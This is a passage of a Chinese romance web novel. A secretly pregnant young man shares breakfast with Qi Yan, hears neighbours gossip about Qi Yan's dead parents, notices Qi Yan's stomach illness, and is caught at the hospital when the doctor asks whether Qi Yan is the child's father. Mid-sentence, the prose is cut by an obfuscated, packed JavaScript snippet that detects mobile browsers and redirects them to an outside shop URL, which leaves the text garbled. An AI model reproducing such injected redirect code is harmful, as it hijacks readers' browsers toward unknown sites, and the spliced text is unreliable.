常运转,程知蘅才忽然后知后觉地意识到一件事。 祈琰对他好,原来只是因为他是他妈妈的儿子。 莫名其妙的,程知蘅觉得有点失落。 - 程知蘅第二天早上是在祈琰的床上醒来。他觉得有点不好意思,又抢了人家的地方。 他起来之后,看见祈琰在厨房里忙活,准备给奶奶的便当。 程知蘅跑过去推开厨房门,笑着说:“早。” 祈琰看着他,也笑笑:“早。” “你做什么呢?”程知蘅闯进厨房巡视了一圈,凑过去瞄祈琰的锅里。 “就几个简单的菜,也做了你一份。”祈琰说,“你还恶心么?” “我好多啦。”程知蘅觉得睡足了觉,精神也好了很多。 过了一晚上,坏消息最初的冲击力已经降低了一些,程知蘅也想通了许多。 就当自己确实是生病了,不过是生了个有点麻烦的小病,需要动手术才能康复。这么想就轻松多了,他一下觉得神清气爽。 “我也给你露一手!”程知蘅挽了挽袖口,“我昨晚买的宵夜忘记吃了,我热一热咱们一起吃。我做得难吃但是路边摊绝对难吃不了!” 祈琰婉拒:“我不是很饿,你自己吃吧。不过你本来就胃不舒服,这东西放了一晚上了,我建议你也别吃。” 程知蘅撇了撇嘴:“不吃就不吃吧,这可好吃了,你不吃我全部自己吃。” 祈琰看着他也觉得有点好笑,也不反驳,把灶让给了程知蘅,锅也给了他。 不一会儿饭就上了桌,有祈琰的三道清淡小菜,也有程知蘅重新煎了一次的炸串和热了的炒粉。 炸串虽然放了一晚上,但依旧很好吃,只可惜程知蘅又一次高估了自己的食量,才吃了一小半就吃不下了。 他小心翼翼打量祈琰,笑了:“我吃不完了,剩下的你帮我吃一点吧!” “我真不饿。”祈琰说。 程知蘅不干了:“我好不容易做的,你试一试嘛,可好吃了。” 祈琰本来还是摇头,但耐不住程知蘅睁着大眼睛可怜巴巴地盯着看,最终还是无可奈何点了头。 他勉为其难吃了一个鸡翅,点头称赞说好吃。 程知蘅笑了:“我就说好吃吧!” 鸡翅其实是真好吃,程知蘅觉得有点得意洋洋。 看着祈琰吃得那么勉强,他还以为是祈琰爱面子不好意思多吃,忽然起了逗一逗祈琰的心思。 于是他装可怜小声说:“好吃你就都吃了吧,不然丢掉多可惜啊!” “非吃不可吗?”祈琰抬头看了一眼程知蘅,像是有点拿他没办法的意思。 程知蘅不说话,就眨巴他那双大眼睛。 祈琰终于还是拗不过他,全给吃光了。 倒不是因为真的有多么好吃,而是因为答应之前,祈琰抬头很认真地看了一下程知蘅。 一别一个半月,程知蘅的下巴都瘦得削尖了,手腕细瘦,脸也还是过分白净、缺少血色的。 对着他,祈琰实在说不出拒绝的话。 22.第 22 章 吃饱喝足后他收了碗,又把装了菜的保鲜盒放在桌子上,和程知蘅说一会儿要去医院,让他自己照顾好自己。 程知蘅点头说好,主动提出出门帮祈琰倒垃圾。 今天比昨天凉快许多,虽然是午后,门外阴凉处也有很多人坐着,围成一圈聊天纳凉。 程知蘅倒了垃圾,还没来得及上楼,倒被楼底下聚成一圈的老太太姐妹团拉住了。 老人家最爱看他这种端正乖巧面皮白净的孩子,拉着程知蘅的手赞他长得好。 “你是住几楼哒?怎么之前没见过你?” 程知蘅被夸得不好意思,垂着眼睛小声说自己之前不住这儿,之后住四楼。 “四楼?”烫羊毛卷的老太太眼珠子一转,“那不是小文家里吗?” 另一个戴眼镜的老太太抚掌惊叹:“哎哟还真是,长得跟小文一个模子里刻出来的似的,你是小文的儿子吧?” 羊毛卷老太太拍了拍她,说:“不是不是!小文的儿子不长这样,小文儿子是那个高个儿小帅哥,记得么?” 她们自顾自聊起往事,程知蘅却僵在原地。 他的亲生母亲,的确就叫做冉小文。 而他们提到的“小文的儿子”,一定也就是祈琰了。 鬼使神差的,程知蘅插嘴多问了一句:“小文的儿子是个什么样的人?” “喔唷长得可俊呢!” “学习可好!天天晚上大半夜了灯还亮着,学习呢!” “可惜了,多好的孩子,他爸爸妈妈过世之后就不爱说话了。” 眼镜老太太像是不知道这件事,一下呆了:“什么?他爸妈没了?小文吗?” “是啊,小文走了好几年了……多好的一个姑娘,工作也好,哎……” 又有人插嘴:“可不是。可怜了那个孩子,一夜之间爸妈都没了。之前救护车还来过一次,把他拉走了,说是不吃不喝病倒了,拉到医院去抢救呢。” “……不是吃错了东西去洗胃吗?” “啊?不是说他想轻生,才来了救护车吗?” 有关救护车这个事情,老太太圈里一下冒出来七八个版本,几个人争论不休,一下没人理会程知蘅了。 趁着没人注意,程知蘅一个人安安静静溜上了楼。 边爬楼,他又开始出神。 看来,父母过世这个事情对祈琰的打击,比他想象得还要更大。 这些年,祈琰替他长出来了右手食指和中指上的茧,替他住在狭小的老房子里,替他照顾了奶奶那么久,替他吃了那么多年的苦,又替他承受了本该他承担的丧失双亲之痛。他欠祈琰的,岂止太多了,再也还不清。 他忽然低头看向自己。 小腹上还看不出起伏,但这个小小的孩子,是他和祈琰两家人的骨肉。 虽说并没有真的这么打算过,但是他脑海中忽然闪过一刹那的念头——若是生下这个孩子,他们两个人,就真的成为一家人了。 可惜,他已经决定不生这个孩子了。 程知蘅就这么心事重重地回到家里,这时候祈琰已经收拾好准备出门。 他正巧站在门口收拾,额头上有点汗,脸色也显得苍白,屋里空调打得很低,程知蘅觉得有点纳闷:“你热吗?” 祈琰似乎也觉得这个问题莫名其妙,只低声答:“不热。” 已经说起了这个问题,于是程知蘅多问了一句:“我昨天怎么也打不开空调,你是怎么弄开的?” 祈琰笑了笑:“你拿错遥控器了。” “啊,原来如此。”程知蘅也跟着笑了,有点觉得不好意思。他很想解释一句自己自理能力其实并不像看起来那么糟糕,又担心多说多错。 他本来要回屋,却莫名多看了几眼祈琰发白的脸色。 顿了许久,他终于还是开口问:“你要去医院看奶奶?我和你一起去行么?” 程知蘅心想,既然是看奶奶,他也理应去关心一下,其次是他还记得医生的嘱咐,打算去复诊。 医生本意是让他通知父母亲人,他既然已经决定瞒着家人做堕胎手术,那么自己去也就行了。 祈琰也没说拒绝的话,只点了点头:“那走吧。” 程知蘅冲回去拿了手机和充电器,他跑跑跳跳的,像只活蹦乱跳的小狗,就这么跟着祈琰出门了。 好不容易身体没什么不适,他觉得简直是满血复活,看着太阳天,心情也转好,所以一路上拉着祈琰扯东扯西,坐到了出租车上还不肯安静。 祈琰本来就话少,所以一路上他一直只以点头摇头回答问题,程知蘅也没怎么觉察出不对,直到上了出租车,狭小的空间里,一切细微的神色变动都无所遁形。 祈琰的手轻轻按着胃,指尖微微颤抖,额前还在出汗。 这时候窗外经过一片绿色,亮色的阳光倾洒进来,程知蘅没忍住去看祈琰好看的侧脸,他鼻梁高,眉骨也高,从侧面看,虽说还是一副冷冷的模样,却实在是让人挪不开眼。 程知蘅偷偷看了好一会儿,眼神一飘,这才注意到祈琰咬得死紧的双唇。 联系起祈琰一直很低的声音、额前的冷汗,以及微颤的指尖,程知蘅陡然瞪大双眼,终于觉察出不对。 他伸出手背去探祈琰的额头,很大声问:“你怎么回事?是哪里不舒服吗?” “也没有。”祈琰顿了好一会儿,低声说。他声音尾音很轻,是难受的。 看着程知蘅显然没有相信的样子,他不得不说了实话:“老毛病了,不碍事。” 程知蘅大脑飞速运转,这时候才想起来,之前那一堆老太太里,似乎就有人提到,“救护车”事件里,祈琰是被拉到医院洗胃。 “你胃不好?”程知蘅很关切地问,没察觉间,指尖已经用力握住了祈琰的手腕。 祈琰没说话,算作是默认。 程知蘅惊讶了很久,抿起唇不说话了,他想起来自己早些时候,逼着祈琰吃他热的路边摊鸡翅。 胃不好的人不能吃重油重盐的东西。难怪祈琰一直推辞,难怪他一直自己做饭,难怪。 程知蘅咬住下唇,长 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16995313|193613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 睫毛低低垂着,很慢吞吞地转过头去又转回来,很小声说不好意思。 祈琰不是没听明白这句不好意思指的是什么。 他垂目看着程知蘅,心里也有些情绪在翻涌。 程知蘅看起来是肆意张扬没有烦恼的人,对着他,却说过了太多次抱歉。 小朋友心理世界太丰富,经不起一点风雨。他像是并不知道自己这副样子看起来惹人心疼,还自顾自地咬着嘴唇,垂着眼睛,黑眼珠滴溜溜地缓慢转动。 反正病都犯了,如果还要多余惹得他内疚,似乎是毫无必要得不偿失的事情。 于是祈琰装作听不懂:“为什么要道歉?” 程知蘅抬头,张了张嘴。 “可能是我昨天晚饭吃错了东西,昨晚就有点不舒服了。一会儿正好去医院,我也去看看。”祈琰说着,语气仿佛很平常。 程知蘅自以为很隐秘地松了口气。 他瞪大眼睛,说:“我一会儿陪你去。” 说完,他又补充:“你胃不好,我下次再也不给你吃我买的东西了。” 祈琰低声淡笑,伸手揉了揉他的头发:“不给就不给。” - 祈琰不舒服,怕奶奶看出来担心,于是把东西交给程知蘅,非不让他陪着,自己先去开药了。 程知蘅去了奶奶的病房,又说了好一会儿话,哄奶奶睡完午觉,这时候祈琰还没回来。 他心想着,与其一直在这里等,倒不如自己也去看医生,省得祈琰那边结束了还得等他。他也是担心会被祈琰发现自己看妇产科。 医院人很多,不过他提前拿了号子,所以没等太久。 医生看见他又一次自己来,叹了口气,也不好说他什么,只和他说了一些注意事项,又开了几个检查。 他正好要去拿一个结果,所以带着程知蘅走出诊室的门,一路走到检查室附近,又叮嘱他:“这个手术很复杂,风险也很高,目前做不了,要等一阵子。这阵子你要经常来,刚才和你说的事情都要多注意,有任何不适立刻联系我。” 程知蘅有点不好意思,只低头说“好”。 他还想再问点什么,谁知道刚张开口,一抬头,就看见祈琰从正前方走过来。 这么大的医院,怎么还能偶遇? 程知蘅被吓了一大跳,转头就想跑,但这时候已经来不及了,祈琰已经喊了一声他的名字,又走到他面前。 他看起来脸色没刚才白了,想必是已经吃了药。 刚才他苍白的脸色转移到了程知蘅的脸上。 身边还站着主治医师,他是一句话都不敢乱说,生怕祈琰发现自己怀孕的事情。 空气就这么安静下来,直到主治医师也察觉到不对劲的气氛。 医生看了一眼程知蘅,又看了一眼祈琰,于是率先打破了沉默。 他问:“这就是孩子的爸爸吗?” 祈琰:……? 程知蘅:……………… 程知蘅浑身僵硬,大脑宕机,平地左脚绊右脚,差点把自己摔死。